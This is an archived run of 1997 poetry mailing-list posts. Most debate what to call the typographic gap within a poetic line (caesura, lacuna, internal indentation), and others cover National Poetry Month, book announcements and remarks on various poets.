duncan's preface to _ground work: before the war_ figures caesurae as articulated silences, which is arguably a more varied measure of the _time_ of the poem than standard grammatical indicators (comma, period, etc.) provide: not the metronome's uniformity, but the body's "flexible durations." dan featherston

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788. **Mark Weiss**
Re: name gap (fwd)
Fri 28 Mar 1997

Rachel, these are all occasionally-employed printer's or calligrapher's conventions, like the more common capitalization of first letter in a line or bracketing a triplet in an Augustan poem. In Old and Middle English, if memory serves, they usually divide the first two alliterative stresses from the last two (sometimes a bullet [dot] is used instead). In Augustan verse the caesura is supposed to be a natural pause and as such is usually unmarked. It usually falls after either the second or third iamb. The breath-group usage, with its appearance of typographic randomness, is quite different. I wonder if it has a name at all. When I'm typesetting I usually ask my poets how many they want--none of them seem to have a term. To broaden the field, there are things that don't have any commonly accepted names. My favorite is the little crusty things that form in the corner of the eye while we sleep. In my family they're called sleep seeds. I've also heard "sleeps" and "what the sand man left." But these are all baby talk. Other languages have normative adult terms, but English apparently doesn't. If there's an answer to Perelman's question it would be handy to know. I'm also cuious to find other examples of the unnamed in general.

At 09:57 AM 3/28/97 -0800, you wrote:
>Examples of cæsura from Du Bartas (Fr.), Old English, Gascoigne, Pope
>all have not only breath-break but also visual gapping. (These are in
>_Princeton Encyclopedia of Poetry and Poetics_.)
>
>Charles Hartman wrote (in part):
>
>> "Lacuna" is good, though
>> traditionally it refers to an accidental and damaging gap.
>

>I love lacuna too. In OED it is:
>
>1. In a manuscript, an inscription, the text of an author: A hiatus,
>blank, missing portion...
>
>2. Chiefly in physical science: A gap, an empty space, spot, or cavity.
>
>Rachel L.
>
>

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789. Daniel Bouchard/College/hmco

No Virginia, there is no Nat'l Potry Mnth: now go home!

Fri 28 Mar 1997

>>ANYTHING that gives NATIONAL attention the the art of poetry is fine with me.
>>The proto-Maraxist crit. of a "National Poetry Month" is fine for academic concerns, and in a perfect world it would always be POETRY any month any day.

Bill Moyers is fine with you? The catatonic verses of Jimmy Stewart, Jimmy Carter and Kahil Gibran are fine with you? Anything that keeps the Language Poets off of Nightline is fine with me. Anything that meaninglessly institutionalizes the belly-scratching Beats is fine with me (Kerouac stamps from Lowell coming soon). Anything that keeps the bugs out of the kitchen is fine with me.

Someone asked earlier what an Apex of the M#5 was. It sounds like what I picked up a case of on the bus home from NYC Sunday. It comes on like gangbusters. A couple of years ago I had severe Apex of the M#1 but I shook it off easier than I expected. Anyway--my point was--someone was speaking in proto-maraxist-crit loudly on the bus, right into my brain as it were. Anything that kills the pain of NATIONAL attention is fine with me.

Since all that is Poetry is Poetry why confuse it with holiday artifice? That is, unless your poetry sounds like a [Father's Day/Mother's Day/Valentine's Day, Poetry Month] greeting card.

If your festival was "nationalized" Bil, YOU wouldn't be running it. As it is, the fesitival is PRIVATIZED.

For example:

"Granted I really wouldn't have cared fucking less,"

In proto-maraxist chat, this is NIHILISM.

"'cause poetry is my national pastime,"

In proto-maraxist chat, this is a deviant NATIONALISM blended with SENTIMENTALISM and strong overtones of
ULTRA-BOURGEOIS all rolled in one.

"but it made things easier in getting people that normally wouldn't have thought twice about a poetry
festival "

In proto-maraxist chat, this is OPPORTUNISM.

"In this imperfect world there are egoistic reasons for the attraction to anything nationally publicized"

No need to apologize to US. We like poetry too.

"hell I don't care if someone strokes their ego a little , as long as it's not at the expense of my integrity, or the integrity of my event."

Never sacrifice these my boy. Never never never.

Writing prudishly from the ideological camp of thank-god-it's-the fucking week-end again,

[redacted]

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790. Rachel Loden
Re: name gap (fwd)
Fri 28 Mar 1997

Mark Weiss wrote (in part):

> *The
> breath-group usage, with its appearance of typographic randomness, is quite different.*

I wonder. According to _Princeton_ again, caesura is "a rhetorical and extra-metrical pause or phrasal break within the poetic line...The caesura, which is frequently marked by punctuation, corresponds to a breath-pause between musical phrases...in modern Eng. the caesura is often used as a device of variety, a device whose purpose it is to help mitigate metrical rigors by shifting from position to position in various lines..."

Rachel

↑ Index

791. **hen**
Re: No Virginia, there is no Nat'l Potry Mnth: now go home!
Fri 28 Mar 1997

On Fri, 28 Mar 1997 14:23:23 EST Daniel Bouchard/College/hmco said:
>
>Someone asked earlier what an Apex of the M#5 was. It sounds like what I
>picked up a case of on the bus home from NYC Sunday. It comes on like
>gangbusters. A couple of years ago I had severe Apex of the M#1 but I shook
it
>off easier than I expected. Anyway--my point was--someone was speaking in

Yeah but I still recommend this essay by David Matlin. It's not proto-marxist. it's the good friday reading for the crucifixion of America by inbred ancient racism, militarism, and prisons as Big Business. I KNOW HOW DUMB THIS SOUNDS!! I wish I could improve on it. It's not a rant, it's a personal essay by a guy who taught in prisons for ten years. there's some interesting thought about teaching Creative Writing too. Did you know that the Clinton Crime Bill did away with federal funding of Prison Education? I didn't. If there is such a thing as the zeitgeist (I think I proved this definitively in a penetrating dialogue on this list several moons ago), in America this time is the epiphany of the Prison.

Hey, have a nice day... and a wunderful weekend :) :) ### +++++++ + + + + + - Henry G

↑ Index

792. **shoemakers**
Re: name gap (fwd)
Fri 28 Mar 1997

Gestalt?

lisa s. writes:

another nameless phenomenon: that space or moment in which the constituent parts of a painting (blots of paint, lines) resolve into the 'represented' depiction -- eg, the space btw the brush strokes and, moving back, the image of ophelia's face in millais's painting would be tighter than the space between the same two things in, say, warhol -- when one moves from looking closely at the surface of a painting to a position further away. or perhaps there is a name for this? --

Steve Shoemaker

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793. Yunte Huang
displace
Fri 28 Mar 1997

Humbly announce the appearance of a small journal of poetry and translation: _Displace_. The first issue features: Martin Spinelli's translation of Marinetti's "Battle"; Pierre Joris's "From the Notebooks"; William Howe's "from a#'s"; Fred Wah's "China Journal."

Don't expect anything big or beautiful. Pink commis have a different taste for print matters. It's free, but you need to send me a one-dollar bill (no check please) to cover the mailing cost. Address: Yunte Huang, 193 Pepper Tree Drive, Apt. 8, Amherst, NY 14228.

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794. aerialedge
Schuyler Diaries &&& @ Bridge Street
Fri 28 Mar 1997

some of what's new. . . discount description/ordering instructions, at end of the list.

1. _Can You Hear, Bird_ by John Ashbery, FSG, new in pb. $12. "I saw no need to cancel love-- / Heavens, what was I thinking of?/ I cannot read what others read./ I see no need."

2. _The Autobiography of Leroi Jones_ by Amiri Baraka, Lawrence Hill Books, $16.95. "And that was cold funky, spaced out above the real, which got to be corny or wrong, since laying in the cloud of ain't-I-hip here in the capital of anything goes, how could the who-ain't-here be anything but not?"

3. _Words of Light: Theses on the Photography of History_ by Eduardo Cadava, Princeton, $29.95. An excellent reading of Benjamin. "Like photography, stars are another name for what makes similarity possible, for the process of mimetic reproduction. They are the models on which Benjamin bases the theory of likeness that underlies his reflections on language."

4. _Corporations Are Gonna Get Your Mama: Globalization and the Downsizing of the American Drea_ ed. Kevin Danaher, foreword by Noam Chomsky, Common Courage, $15.95. Contributors include Richard Barnet, Kirkpatrick Sale, Jerry Mander, Patricia Horn, and Jeremy Rifkin. "Deceit has become so entrenched that it may well have been internalized, passing below the threshold of consciousness. Prevailing market rhetoric is an interesting case."

5. _Diacritics V 26, Nos. 3-4: Poetry, Community, Movement_ Jonathan Monroe, special editor, $12. That one you heard about. DuPlessis, Waldrop, Kellogg, Nielsen, Perloff, Lauterbach, Perelman, Bernstein.

6. _Justice, Nature and the Geography of Difference_ by David Harvey, Blackwell, $21.95. "Can the relational theory of space and time be used to understand the dialectics of space and place? If so, can it be extended in some way to construct a dialectical understanding of the _space-place-environment_ triad? There are strong grounds for answering "yes" to both questions."

7. _Viridian_ by Paul Hoover, U. Georgia, $14.95. "Because it has rained and the TV/ is on, the world is not itself."

8. _Proper Names_ by Emmanuel Levinas, Stanford, $14.95. "Is it certain that a true poet occupies a place? Is he not that which, in the eminent sense of the term, _loses its place_, ceases occupation, precisely, and is thus the very opening of space, neither the transparency nor the emptiness of which (no more than night, nor the volume of beings) yet displays the bottomlessness or the excellence, the heaven that in it is possible, its "heavenhood" or its "celestiality," if one may use such neologisms?"

9. _The Lost Lunar Baedeker_ by Mina Loy, FSG, new in pb. $13. "the City's circulatory/ sanitary apostles/ a-leap to ash-cans/ apply their profane ritual/ to offal"

10. _The Black Reeds_ by Mark McMorris, U. Georgia, $14.95."Crowds pressed in on us/ the progress of talk was over/ only the body spoke out now/ a small name written on/ vacancy, over which, intent,/ we brooded on our pulse"

11. _Amorous Nightmares of Delay: Selected Plays_ by Frank O'Hara, with a preface by Ron Padgett and an introduction by Joe LeSeur, Johns Hopkins, $14.95. "What pseudo-kinetic response dins its palpitations into my flapping breast? The wanderer like a gust of wind be-devils me towards that role I can't run fast enough to catch the coat-tails of."

12. _The Diary of James Schuyler_ ed. Nathan Kernan, Black Sparrow, $15. "I just came back from the market I favor with a colorful bag of juice oranges (4 for $1) and limes (3 for $1). Mystery: a while ago limes went up in price as they became smaller, more wizened and juiceless: "end of season, end of season" was the cry. Now they are big smooth and crowded with juice. Where do they come from, what's it all about? And as I rounded the corner I looked over my shoulder and the sun, in a clear sky that could become searing, shone blindingly straight in my face."

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the

books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge some shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007.

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795. **Lisa Samuels**
Re: name gap (fwd)
Fri 28 Mar 1997

on the question of gaps

following up on mark weiss & rachel loden's posts, perhaps this has some extra (as well as shared) information, esp. on the metrics of alliterative verse. the midline gap or sometimes dot is a modern typographical convention to mark the metrical pause or caesura that separates the two halves of an alliterative line. it doesn't usually appear in medieval mss, where the caesura is sometimes marked by an oblique stroke or punctus elevatus (kind of inverted semi-colon) but more often left unmarked. caesura is the name of the metrical phenomenon (also found of course in other kinds of verse with long lines, e.g. hexameters and alexandrines, but of less structural significance there), not of the gap that represents it; as others have noted, i don't think the gap has a name of its own.

another nameless phenomenon: that space or moment in which the constituent parts of a painting (blots of paint, lines) resolve into the 'represented' depiction -- eg, the space btw the brush strokes and, moving back, the image of ophelia's face in millais's painting would be tighter than the space between the same two things in, say, warhol -- when one moves from looking closely at the surface of a painting to a position further away. or perhaps there is a name for this? --

lisa s.

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796. **aerialedge**
Re: name gap (fwd)
Fri 28 Mar 1997

I believe it's called a gap. I mean, when there's a gap
I believe that's what it's called.

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797. **Bob Grumman**
Re: name gap
Fri 28 Mar 1997

Hi, Everybody. I just joined your group a few days ago, shortly after going broke getting a new computer system that would let me use the Internet. I'd intended to sit back and watch your exchanges for at least a month before venturing any comments of my own. This discussion of what to name the gaps in

> she knew the name a big black winged
> bird on the end of a line Clothes.

is too insanely just my kind of thing, though, so here I am already.

Such interesting and informative comments have already been made I hate to end the fun by being unarguably definitive, but . . . Well, here's what I think: "caesura" isn't quite the right term because, as at least one of you pointed out, it can, and most often *does*, refer to pauses marked not with spaces but with punctuation, or not marked at all. "Lacuna" has to do with missing material, which isn't the case, it doesn't seem to me, in the passage above.

For a moment or two I thought maybe my term, "nulletter," might take care of the problem. But a nulletter is not a kind of punctuation but a space that's used where a letter is expected (mostly in visual poetry). My solution, then? Call the gaps "caes urae."

Okay, okay, I'll give you the proper term: "interior indentation." Since when? Since now. (Note, it can be measured in letter-widths.)

Thank you for your attention. --Bob G.

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798. **shoemakers**
Re: name gap
Fri 28 Mar 1997

Well, moving away from the search for classical terminology, i've heard the term "gap syntax" applied to the (very important) internal spacings in Oppen's lines. Think i heard it first from Ted Enslin, but i don't know who might have coined it--whether it was Ted or someone else. I like the way that term emphasizes that the gap is part of the articulation of the line, but i guess there are gaps and then there are gaps. I've just been teaching Mallarme's A Throw of the Dice, and the gaps there wld seem to work on a more purely *spatial* rather than "syntactic" level. As also in Apollinaire's calligrams: "...for the bond between these fragments is no longer the logic of grammar but an ideographic

logic culminating in an order of spatial disposition totally opposed to discursive juxtaposition..."*

But i think the original example was more "linear"...

steve

*with s
p
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a
l
thanks

to Jerry & Pierre

an tho lo gists

extra
or di
naire!

(but it's too hard to make a *really good* spatial poem on e-mail...)

Steve Shoemaker

↑ Index

799. **Mark Weiss**
Re: name gap (fwd)
Fri 28 Mar 1997

Since we're being lexical, the usefulness of a technical term declines in proportion to its inclusivity. The medial caesura in a line by Dryden (who, like all critics of the period, talks about it a lot) is very different from what Duncan or Olson or I do with multiple n-spaces, regardless of the fact that on occasion the former is indicated by a comma. To illustrate, if, as was common, there were no comma in the Dryden line, it would make no difference to the way the line was read or understood--the caesura, tho typographically invisible, would still be there, because it was part of the rules of the heroic couplet game. Leave out my extra spacing and you destroy the rhythm, and sometimes the intent, of the line.

At 11:24 AM 3/28/97 -0800, you wrote:
>Mark Weiss wrote (in part):
>
>> The
>> breath-group usage, with its appearance of typographic randomness, is

quite
>> different.
>
>I wonder. According to _Princeton_ again, caesura is "a rhetorical and
>extrametrical pause or phrasal break within the poetic line...The
>caesura, which is frequently marked by punctuation, corresponds to a
>breath-pause between musical phrases...in modern Eng. the caesura is
>often used as a device of variety, a device whose purpose it is to help
>mitigate metrical rigors by shifting from position to position in
>various lines..."
>
>Rachel
>
>

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800. **William Slaughter**
Re: name gap
Fri 28 Mar 1997

> *on the question of gaps*

Somehow this excerpt, from an essay of mine on Chagall's paintings, seems relevant to the this thread. You decide.

"'To me, a painting is a large surface with objects represented in a certain order...for example, the headless woman with a pail of milk who appears in one of my canvases executed in 1910-11; if I had the idea of separating her head from her body, it is because I needed an empty space right at that spot.' Chagall said that about his painting _To Russia, Asses, and Others_. But he might just as well have said it about other paintings of his, including _The Poet, or Half-Past Three_. What interests me in Chagall's explanation is his phrase 'an empty space' and his need for it.

"Apollinaire--'that gentle Zeus,' Chagall, liking poets, called him--viewing Chagall's paintings at the same timne, 1910-11, in Paris, uttered the magic word _surnaturel_ which, translated, meant Chagall had a 'vision of the world,' his own peculiar way of seeing it. But Chagall himself admitted only to solving a compositional problem when he separated that woman's head from her body. _He needed an empty space._

"So do I...." Et cetera.

Perhaps what really matters is the fact of the empty space and not what we call it. I, for one, am inclined to mind the gap, not name it.

Bill

William Slaughter

_____

[redacted]

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801. **Jocelyn Emerson**

Re: Is history dead?

Fri 28 Mar 1997

May we have a break from the Binoche thing on this line--ii.e. is "getting" here referring to her as a posession? a dog? a piece of meat? There are other forum for male fantasies of this sort.

JE

> *When I see some actor getting Binoche in a movie, I get bleu with envy.*
>
> *George Bowering.*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]
> *e-mail:* [redacted]

↑ Index

802. **Daniel Zimmerman**

Re: name gap (fwd)

Fri 28 Mar 1997

Lisa Samuels wrote:
>
> on the question of gaps
>
> following up on mark weiss & rachel loden's posts, perhaps this
> has some extra (as well as shared) information, esp. on the
> metrics of alliterative verse. the midline gap or sometimes dot
> is a modern typographical convention to mark the metrical pause
> or caesura that separates the two halves of an alliterative line.
> it doesn't usually appear in medieval mss, where the caesura is

> sometimes marked by an oblique stroke or punctus elevatus (kind of
> inverted semi-colon) but more often left unmarked. caesura is
> the name of the metrical phenomenon (also found of course in other
> kinds of verse with long lines, e.g. hexameters and alexandrines,
> but of less structural significance there), not of the gap that
> represents it; as others have noted, i don't think the gap has a
> name of its own.
>
> another nameless phenomenon: that space or moment in which the
> constituent parts of a painting (blots of paint, lines) resolve
> into the 'represented' depiction -- eg, the space btw the brush
> strokes and, moving back, the image of ophelia's face in
> millais's painting would be tighter than the space between the
> same two things in, say, warhol -- when one moves from looking
> closely at the surface of a painting to a position further
> away. or perhaps there is a name for this? --
>
> lisa s.

Mai-Mai Sze, in The Way of Chinese Painting (Vintage, 1959), writes that "the painter has to be able to experience the rhythm of life to be able to express it in his work by means of the rhythm of the brush. And it may be deduced that 'to clarify understanding and increase wisdom' means a contemplative attention to all things and to all of nature's changes in order gradually to gain a sense of the permanent and significant. The brush will then be swift and sure, setting down only the essential strokes, in some places expressing by 'absence of brush and ink.' Painters summed up this power in the phrase i tao pi pu tao (idea present, brush may be spared performance). In the style called freehand or free-sketch painting (hsieh i, write idea), this kind of brushwork is often carried out by sweeping strokes of a fairly dry brush that leaves the paper or silk showing within the strokes or by deliberate breaks in the stroke that yet do not interrupt the continuity of the idea. Such results are possible only after the painter has reached an advanced stage of cultivation and technical skill, the stage at which rules and methods are no longer consciously applied but are implicit in the results. It is the stage when the ch'i of the painteris effortlessly trqansmitted through the painting" (119). This kind of thinking also seems apropos for the form/content discussion. Dan Zimmerman 485 Parsonage Road Edison, NJ 08837

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803. Maria Damon
name gap/thread bare
Fri 28 Mar 1997

>> on the question of gaps
>
>Somehow this excerpt, from an essay of mine on Antoinette Brioche's taste
>in fashion, seems
>relevant to the this thread. You decide.
>
 "get it

to get her"

thabj yoi bury muck,
maria damon, gentleman

↑ Index

804. George Bowering
Re: questions re: Merrill and Jarnot
Fri 28 Mar 1997

Merrill? Merrill? I shared a cab ride with him a couple years ago, and that wasnt too bad. But then I heard him read his poems. Good god! All I-knew-that-was-coming metaphors, and cracker barrel American wisdom, and thundering or plunking conclusions. So poetical. So tweed. So depandable.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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805. Wendy Battin
Re: questions re: Merrill and Jarnot
Fri 28 Mar 1997

On Fri, 28 Mar 1997, George Bowering wrote:
> Merrill? Merrill? I shared a cab ride with him a couple years ago, and that
> wasnt too bad. But then I heard him read his poems. Good god! All
> I-knew-that-was-coming metaphors, and cracker barrel American wisdom,

and
> thundering or plunking conclusions. So poetical. So tweed. So depandable.

Oh, but a good soul. We can't all be burdened by wealth, but he used it pretty generously & well for poets. And g*d knows we can't all be cool. Some of us are born nerds.

Wendy of the great but grateful unwashed

↑ Index

806. **henry gould**
Re: name gap (fwd)
Fri 28 Mar 1997

Dear Lisa & Dan, always hoping to stay modestly in the background (sure Henry)... & yet tonight I was so struck by your two posts - since just a couple days ago I "went through" everything you've described in the process of making a poem... it happened like this: I was sitting on a couch one afternoon, about 40 feet - quite a long distance - from a print hanging on a wall in the next room. Afternoon sunlight (which I'm not usually there to see) gave the picture an extra radiance. I don't know what the technical name for that kind of printing is - but the artist had covered the plate with ink entirely, then lightly brush-stroked some of it off to make a kind of negative image, then laid the paper directly on the wet plate - so that the strokes were actually the GAPS in the ink, & the image was white on black. Anyway - from a distance of 40 feet, suddenly this print I had looked at for years COHERED. The entirety of its design organized itself & I saw things in it (a landscape) which had been somewhat loose, inchoate, from a more usual viewing distance. I don't even know if the coherence was planned by the artist, but it was there. Anyway, in the resulting poem (the Portuguese form of a "glose") dealt with this coherence-in-distance on a different, symbolic level - the order or meaning that life takes on when seen through the distance-perspective (often tragic) of long time (forty YEARS, say). (aside from the peanut gallery: "i.e. youth is wasted on youth"). I don't know what the NAME for this coherence-via-gaps is, either (hasn't stopped me from writing 1,000 words about it...). Proustville.

the poem's too long to send here (4-line text followed by 4 10-line stanzas with each line of the text as a consecutive refrain to each stanza = glose). so here's a shorter poem illustrating the specific form of the gap known as the Renaissance knee-hole gap (incidentally today is a very traditional gap day - between death & resurrection - Holy Saturday).

51

The struggle of the mind to bring to bear
a pattern in the mystery the quiet
balance imaged in these wet
streams circling the old town everywhere.

Here once came the young barbarian,
who fell in love with this integrity of
land & gently curving waterway;
found kingdom come a petrine origin,
where dikes domesticate the ocean -
Atlantis, very human now & Dutch.

& here within this village radius
the labors of a Mondrian circuitous
uplifted principle serene would reach
a dreamy apogee - & build a world to match.

--Amersfoort, 12.7.96

- Henry Gould

(Amersfoort, Netherlands, is the birthplace of Mondrian. the "young barbarian" is Peter the Great, who traveled to Holland disguised as an ordinary sailor, in order to learn shipbuilding.)

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807. **Mark Weiss**
Re: Is history dead?
Fri 28 Mar 1997

Getting may have been a typo for for the more correct bedding or wetting.

At 06:26 PM 3/28/97 -0600, you wrote:
>May we have a break from the Binoche thing on this line--ii.e. is "getting"
>here referring to her as a posession? a dog? a piece of meat? There are
>other forum for male fantasies of this sort.
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>>When I see some actor getting Binoche in a movie, I get bleu with envy.
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>>
>>
>>George Bowering.
>> ,
>>2499 West 37th Ave.,
>>Vancouver, B.C.,
>>Canada V6M 1P4
>>
>>fax: [redacted]
>>e-mail: [redacted]
>
>

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808. **Hugh Steinberg**
Re: name gap (fwd)
Sat 29 Mar 1997

Caesura strikes me as more of a sonic than visual term. I like lacuna (sounds like a new car, the Ford Lacuna) although it seems a bit fancy. I tend to use the term "white space" when describing those blanks.

Hugh Steinberg

↑ Index

809. **Daniel Zimmerman**
Re: name gap (fwd)
Sat 29 Mar 1997

---

henry gould wrote:
>
> Dear Lisa & Dan,
> always hoping to stay modestly in the background (sure Henry)... & yet
> tonight I was so struck by your two posts - since just a couple days ago
> I "went through" everything you've described in the process of making a
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> on when seen through the distance-perspective (often tragic) of long time
> (forty YEARS, say). (aside from the peanut gallery: "i.e. youth is wasted
> on youth"). I don't know what the NAME for this coherence-via-gaps is,
> either (hasn't stopped me from writing 1,000 words about it...). Proustville.
>
> the poem's too long to send here (4-line text followed by 4 10-line stanzas
> with each line of the text as a consecutive refrain to each stanza = glose).
> so here's a shorter poem illustrating the specific form of the gap known
> as the Renaissance knee-hole gap (incidentally today is a very traditional
> gap day - between death & resurrection - Holy Saturday).
>
> 51
>
> The struggle of the mind to bring to bear
> a pattern in the mystery the quiet
> balance imaged in these wet
> streams circling the old town everywhere.
>
> Here once came the young barbarian,
> who fell in love with this integrity of
> land & gently curving waterway;
> found kingdom come a petrine origin,
> where dikes domesticate the ocean -
> Atlantis, very human now & Dutch.
>
> & here within this village radius
> the labors of a Mondrian circuitous
> uplifted principle serene would reach
> a dreamy apogee - & build a world to match.
>
> --Amersfoort, 12.7.96
>
> - Henry Gould
>
> (Amersfoort, Netherlands, is the birthplace of Mondrian. the "young

> barbarian" is Peter the Great, who traveled to Holland disguised as
> an ordinary sailor, in order to learn shipbuilding.)

Henry,

Sounds like a monoprint. Did the image hold up when you approached the print to examine it more closely? If so, I'd say it didn't result as an artifact of distance, but inhered in the work itself [like bones before an x-ray].

Beautiful piece on Peter the Great--the gaps work like patches of landscape too deep to wade through, but mirroring the bright Dutch sky. [Now THAT may qualify as an artifact of distance!].

Keep those cards & letters coming!
Dan Zimmerman

↑ Index

810. Pierre Joris
Re: name gap
Sat 29 Mar 1997

---

re caesura -- more than a metrical or breath device, in H►lderlin, the caesura becomes the breathless aporia, the suspension around which the line, the poem organizes itself. Paul Celan, a close reader of H►lderlin, talks of this in a late poem:

I DRINK WINE from two glasses
and harrow
the King's caesura
like that other
does Pindar,

God turns in the tuning fork
as one of the small
just ones,

from the lottery drum falls
our doit.

A number of essays in the Celan-Sekundarliteratur deal with this, but I haven't got the time right now to dig'em out. May your eggs be boiled hard & painted brightly! -- Pierre

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

811. Schuchat Simon

Re: name gap

Sat 29 Mar 1997

On Fri, 28 Mar 1997, Rachel Loden wrote:

> *Bob Perelman wrote:*
>
> *A student asked me the following question. I don't know the answer. & who was the first to use the things?*
>
> *do you know the technical term for a space in a poem*
>
> *From the OED:*
>
> *cæsura*
> *[a. L. cæsura 'cutting, metrical pause', f. cæs- ppl. stem of cædere to cut...*
>
> *1. In Greek and Latin prosody: The division of a metrical foot between two words, especially in certain recognized places near the middle of the line...*
>
> *2. In English prosody: A pause or breathing-place about the middle of a metrical line, generally indicated by a pause in the sense.*
>
> *Rachel L.*

if Bob's student questioner means the pause, then caesura is right, but I think the question has to do with the typographical feature, which is not caesura (though the space may be used to indicate a caesura). maybe it has no name, being characteristic of projective verse and after. we could name it the "charles" if we like.

↑ Index

812. **David R. Israel**

Re: name gap

Sat 29 Mar 1997

Poeticos & Poeticas,

have enjoyed the chat abt. the space
lacuna (no) caesura (perhaps) whatever
you name it however it's used one
must goatlike jump across many rives

On a ussage (rather than nominclative) note, said gap (or a species of same -- personally I've long considered 'em caesurae), at various time in his long writing, W.S. Merwin has favored this convention or device or whaterer. Most noteably in the volume *Opening the Hand* (1983) -- but also sometimes earlier & sometimes later.

To illustrate how it appears in Merwin (or one way it does), here's a 4-line poem from said volume. But first, another tangent:

Incidentally, there's a correlative sense of caesura in classical Chinese poetics -- in a 5-word (5-word) line, it's almost always between the 3rd & 4th words. In a 7-word line, there's -- I'd say -- a minor caesura after the 2nd word, and major caesura after the 4th -- or at least this is rather common. Those are for the classical [shih or shi] lines most prevalent. In the more lyrical ci [tzu] that came into vogue after the Tang dynasty, there was wider metrical variation -- using, still, strictures of words-per-line (of course), but the strictures now based on lyrics which might allow (say) both 5-word & 6-word lines in the same poem (unthinkable in shi).

Anyway, in all of these practices, the audible (& grammatically anchored) sense of the caesura is very strong in that tradition.

In terms of how the poems appeared in print? Not only were these caesurae not noted, even the breaks from "line" to "line" were not noted! An entire poem (e.g., an "8-line poem" of 5 charaters each) was most commonly printed (from top of page to bottom) with no gaps visible at all: 20 characters, zip zip zip. It's the job of the *reader* to recognize what sort of poem he/she's reading (though typically publishers/editors helped by putting all the 5-word-per-line poems in one section, follwed by the 7-word-per-line pomes -- or sometimes that's done). But in classical reaading practice, it's also common for the reader to physically mark the book (with, say, a vermillion pen, making a little circle) wherever the line breaks occur -- and sometimes also, the same mark is used indiscriminantly for the gap of the innerlinear break (caesura).

End of Chinese tangent, back to Merwin (poem follows).

best,
d.i.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

W. S. Merwin:

TIDAL LAGOON

From the edge of the bare reef in the afternoon
children who can't swim fling themselves forward calling
and disappear for a moment in the long mirror
that contains the reflections of the mountains

.
.....
.....
\\/////\\\\\
  > david raphael israel <
  >> washington d.c. <<
| ▇▇▇▇▇▇▇ (home)
| ▇▇▇▇▇▇▇ (office)
==========
| thy centuries follow each other
| perfecting a small wild flower
| (Tagore)
//\\\\\\\\\\

↑ Index

813. **David R. Israel**
Re: name gap / chinese example
Sat 29 Mar 1997

A little erratum-note --

I wrote:

> *Incidentally, there's a correlative sense of caesura in classical Chinese poetics -- in a 5-word (5-word) line, it's almost always between the 3rd & 4th words.*

but *meant* to write: in a 5-word (5-syllable) line . . .

well now that I'm here, I shd. also illustrate same from renderings of Chinese. These two lines appear as the conclusion to a rather bitter eight-line poem by an empoverished medieval, a certain Huang Jingren [or, in the older system: Hunag Ching-Jen] (1749-83).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A few of this chap's poems appear in the anthology *Sunflower Splendor* (but this is my own rendering). These are 7-word lines (which break into 2 / 2 / 3 lines; -- in English, each Chinese word tends to generate a metrical foot). The poet was (one might interpret it) complaining abt. the vagaries of fate, stupidities of humankind, and his own extreme poverty. The poem finds this memorable conclusion:

perhaps it is for poetry-books that grief turns into sight birds in spring
bugs in autumn naturally make their sound

d.i.

```
 .
 .....
 ............
 \\\\
```

> *Subject: name gap*
> *To: [redacted]*
>
> *A student asked me the following question. I don't know the answer. & who was the first to use the things?*
>
> *do you know the technical term for a space in a poem*
> *that resembles these:*
>
> *she knew the name a big black winged*
> *bird on the end of a line Clothes.*
>
> *?*
> *I'm going crazy. I heard it was a lacuna, but I think there's another term.*
>
> *[I'll be putting in my {non-defensive} two cents about the NYC panel as soon as time & mind clear]*

↑ Index

815. Bob Grumman
Further Thoughts on the "Interior Indentation"
Sat 29 Mar 1997

On reflection, I've concluded that "caesura" is right for any kind of pause occurring in a line of poetry, except at its end, including one that consists of two or more spaces. But "caesura" is too general, so here is my taxonomy:

CAESURAE

Implicit Caesurae Explicit Caesurae

Punctuation-Breaks Internal Indentation

I put no categories under "Implicit Caesurae" since there seems to be only one kind of unmarked caesura. The two kinds of explicit caesurae should be self-evident. Note my change of terminology from "interior indentation" to "internal indentation"--to parallel "internal rhyme."

Now back to the real excitement here: the discussions, with terrific examples, of the VALUE rather than the NAME of these entities. --Bob G

↑ Index

816. Douglas Barbour
Re: bpNichol & all that he might mean, even politically
Sat 29 Mar 1997

Kent Johnson wondered if no one going to step up and say something decent about bpNichol, given what appeared to be Louis Cabris's attack. First: he needs no defense, & is a major figure in Canadian poetry only to some. Others never knew, or still dont. I find it interesting than some yuonger writers want to find fault with bp, but what the hell, that's what the young do. I would want to argue that there are lots of 'politics' in _The Martyrology_, but then what do we mean by 'politics' & dont we all tend to agree that there can be no art without it/them? Anyway, I'm one of those academics who has written on bp, so what-ever I say cant really count. Perhaps. Let's just say that for those who cared, those who knew him, the loss continues to hurt. And the poems remain to be read & reread. Happily.

========== Douglas Barbour
the precision of openness Department of English is not a vagueness

University of Alberta it is an accumulation Edmonton Alberta T6G 2E5 cumulous [redacted] FAX:[redacted] bpNichol H: [redacted]

↑ Index

817. Daniel Zimmerman
Re: name gap
Sat 29 Mar 1997

Pierre Joris wrote:
>
> re caesura -- more than a metrical or breath device, in H⧫lderlin, the
> caesura becomes the breathless aporia, the suspension around which the
> line, the poem organizes itself. Paul Celan, a close reader of
> H⧫lderlin, talks of this in a late poem:
>
> I DRINK WINE from two glasses
> and harrow
> the King's caesura
> like that other
> does Pindar,
>
> God turns in the tuning fork

> as one of the small
> just ones,
>
> from the lottery drum falls
> our doit.
>
> A number of essays in the Celan-Sekundarliteratur deal with this, but I
> haven't got the time right now to dig'em out. May your eggs be boiled
> hard & painted brightly! -- Pierre
>
> --
> ==========
> pierre joris 6 madison place albany ny 12202
> tel/fax [redacted] email:[redacted]
> http://www.albany.edu/~joris/
> ----------
> Everything that allows men to become rooted, through
> values or sentiments, in _one_ time, in _one_ history, in
